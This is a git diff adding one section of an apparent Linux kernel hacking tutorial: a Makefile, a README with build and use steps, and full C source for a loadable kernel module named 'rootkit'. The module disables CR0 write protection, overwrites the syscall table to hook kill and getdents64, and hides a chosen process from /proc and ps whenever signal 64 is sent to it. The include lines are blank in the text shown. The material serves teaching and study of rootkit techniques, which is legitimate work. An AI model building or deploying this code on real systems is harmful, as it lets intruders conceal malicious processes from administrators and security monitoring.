diff --git a/3_RootkitTechniques/3.5_hiding_processes/Makefile b/3_RootkitTechniques/3.5_hiding_processes/Makefile new file mode 100644 index 0000000..1856805 --- /dev/null +++ b/3_RootkitTechniques/3.5_hiding_processes/Makefile @@ -0,0 +1,7 @@ +obj-m += rootkit.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean diff --git a/3_RootkitTechniques/3.5_hiding_processes/README.md b/3_RootkitTechniques/3.5_hiding_processes/README.md new file mode 100644 index 0000000..bd82ba1 --- /dev/null +++ b/3_RootkitTechniques/3.5_hiding_processes/README.md @@ -0,0 +1,21 @@ +# Linux Kernel Hacking + +## 3.5: Hiding processes + +This module simply combines the syscall hooks for `sys_kill` from [Section 3.2](../3.2_kill_signalling) and `sys_getdents64` from [Section 3.4](../3.4_hiding_directories). The idea is that, when we intercept a signal `64` being sent to a `pid`, we store the pid in a global variable so the `sys_getdents64` hook can see it. Then, we simply hide any file/directory with a name that matches that pid. + +> Note: In theory, someone might have a file/folder that happens to match that of a current pid on their system, that also happens to be the pid that we want to hide. The chances of this are slim, but I guess not impossible. + +Almost all linux tools (including portions of the kernel!) use the contents of `/proc/` to lookup pids and any information associated to them. By virtue of "everything being a file" in linux, by hiding directory entries that match our pid's numerical value, we effectively hide the entire process from the operating system! + +> Note: In the interest of avoiding clutter, I removed all the comments from the syscall hooks, and added a few comments relevant to hiding processes. For better explanations of what the syscall hooks are doing, line by line, see their sections linked in the top paragraph. + +To use: +* Build with `make` +* Load with `insmod rootkit.ko` +* Get a list of running processes, e.g. `ps`, and pick a pid from the list +* Send signal `64` to the pid you chose, e.g. `kill -64 999` +* Check the output of `ps` again and see that your pid is missing! +* Unload with `rmmod rootkit` + +> Note: Currently, only a single pid at a time can be hidden! Trying to hide another pid will work fine, but it will reveal the first one! diff --git a/3_RootkitTechniques/3.5_hiding_processes/rootkit.c b/3_RootkitTechniques/3.5_hiding_processes/rootkit.c new file mode 100644 index 0000000..b143878 --- /dev/null +++ b/3_RootkitTechniques/3.5_hiding_processes/rootkit.c @@ -0,0 +1,163 @@ +#include +#include +#include +#include +#include +#include +#include + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("TheXcellerator"); +MODULE_DESCRIPTION("Hiding processes"); +MODULE_VERSION("0.01"); + +static unsigned long * __sys_call_table; + +typedef asmlinkage long (*orig_getdents64_t)(const struct pt_regs *); +typedef asmlinkage long (*orig_kill_t)(const struct pt_regs *); +orig_getdents64_t orig_getdents64; +orig_kill_t orig_kill; + +/* Global variable to store the pid that we are going to hide */ +char hide_pid[NAME_MAX]; + +/* This is our hooked function for sys_kill */ +asmlinkage int hook_kill(const struct pt_regs *regs) +{ + pid_t pid = regs->di; + int sig = regs->si; + + if ( sig == 64 ) + { + /* If we receive the magic signal, then we just sprintf the pid + * from the intercepted arguments into the hide_pid string */ + printk(KERN_INFO "rootkit: hiding process with pid %d\n", pid); + sprintf(hide_pid, "%d", pid); + return 0; + } + + return orig_kill(regs); +} + +/* This is our hooked function for sys_getdents64 */ +asmlinkage int hook_getdents64(const struct pt_regs *regs) +{ + // int fd = regs->di; + struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si; + // int count = regs->dx; + + struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL; + unsigned long offset = 0; + + int ret = orig_getdents64(regs); + dirent_ker = kzalloc(ret, GFP_KERNEL); + + if ( (ret <= 0) || (dirent_ker == NULL) ) + return ret; + + long error = copy_from_user(dirent_ker, dirent, ret); + if (error) + goto done; + + while (offset < ret) + { + current_dir = (void *)dirent_ker + offset; + + /* We also have to check that the hide_pid string isn't empty! */ + if ( (memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0) && (strncmp(hide_pid, "", NAME_MAX) != 0 ) ) + { + printk(KERN_INFO "rootkit: hiding directory %s\n", hide_pid); + if ( current_dir == dirent_ker ) + { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } + previous_dir->d_reclen += current_dir->d_reclen; + } + else + { + previous_dir = current_dir; + } + + offset += current_dir->d_reclen; + } + + error = copy_to_user(dirent, dirent_ker, ret); + if (error) + goto done; + +done: + kfree(dirent_ker); + return ret; + +} + +/* The built in linux write_cr0() function stops us from modifying + * the WP bit, so we write our own instead */ +inline void cr0_write(unsigned long cr0) +{ + asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order)); +} + +/* Bit 16 in the cr0 register is the W(rite) P(rotection) bit which + * determines whether read-only pages can be written to. We are modifying + * the syscall table, so we need to unset it first */ +static inline void protect_memory(void) +{ + unsigned long cr0 = read_cr0(); + set_bit(16, &cr0); + cr0_write(cr0); +} + +static inline void unprotect_memory(void) +{ + unsigned long cr0 = read_cr0(); + clear_bit(16, &cr0); + cr0_write(cr0); +} + +/* Module initialization function */ +static int __init rootkit_init(void) +{ + /* Grab the syscall table */ + __sys_call_table = kallsyms_lookup_name("sys_call_table"); + + /* Grab the function pointer to the real sys_getdents64 syscall */ + orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64]; + orig_kill = (orig_kill_t)__sys_call_table[__NR_kill]; + + printk(KERN_INFO "rootkit: Loaded >:-)\n"); + printk(KERN_DEBUG "rootkit: Found the syscall table at 0x%lx\n", __sys_call_table); + printk(KERN_DEBUG "rootkit: getdents64 @ 0x%lx\n", orig_getdents64); + printk(KERN_DEBUG "rootkit: kill @ 0x%lx\n", orig_kill); + + unprotect_memory(); + + printk(KERN_INFO "rootkit: hooking getdents64 syscall\n"); + printk(KERN_INFO "rootkit: hooking kill syscall\n"); + /* Patch the function pointer to sys_getdents64 with our hook instead */ + __sys_call_table[__NR_getdents64] = (unsigned long)hook_getdents64; + __sys_call_table[__NR_kill] = (unsigned long)hook_kill; + + protect_memory(); + + return 0; +} + +static void __exit rootkit_exit(void) +{ + unprotect_memory(); + + printk(KERN_INFO "rootkit: restoring getdents64 syscall\n"); + printk(KERN_INFO "rootkit: restoring kill syscall\n"); + __sys_call_table[__NR_getdents64] = (unsigned long)orig_getdents64; + __sys_call_table[__NR_kill] = (unsigned long)orig_kill; + + protect_memory(); + + printk(KERN_INFO "rootkit: Unloaded :-(\n"); +} + +module_init(rootkit_init); +module_exit(rootkit_exit);